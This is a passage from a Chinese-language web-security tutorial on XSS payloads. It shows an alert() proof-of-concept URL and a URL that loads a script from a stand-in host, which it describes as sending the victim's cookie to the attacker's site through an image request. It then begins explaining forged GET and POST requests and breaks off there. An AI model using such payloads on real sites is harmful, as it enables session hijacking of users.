本文的所有example指的是举例,并不是真实域名。
Web安全研究人员为了证明目标站点有XSS漏洞,都会习惯性地构造一个目标站点执行alert函数弹框的PoC(Proof of Concept,验证代码)。
(1)XSS Payload。
攻击者植入的恶意代码称为XSS Payload,本质上就是JavaScript代码,一般情况下Payload是写在URL栏中的。
①、<script>标签载入
这里是直接使用alert函数
例如http://目标站点/example.php?name=<script>alert()</script>
或者创建一个example.js文件
example.js文件内容

在浏览器URL栏中,我们就可以写
http://目标站点/example.php?name=<script src=”http://example.site/example.js”></script>
使用<script>标签载入,就能避免在URL栏上输入大量的JavaScript代码。
这段代码将Cookie作为参数填到一个攻击者指定的URL中,然后将URL作为一个图像的src属性,浏览器向攻击者指定的网站(example.site)发送请求尝试获取图像,实际上是将受害者的Cookie发送到example.site网站。
②、构造GET和POST请求
有的网站可能在Set-Cookie中给关键的Cookie设置HTTPOnly属性;有的网站则会把Cookie与客户端IP地址绑定,从而使XSS获取的Cookie失去意义。
GET请求,最简单的方法创建一个image对象,将其src属性指定为目标URL,这样浏览器在获取图像时,就在当前页面发送了一个GET请求。
POST请求,使用POST请求可以创建一个表单对象

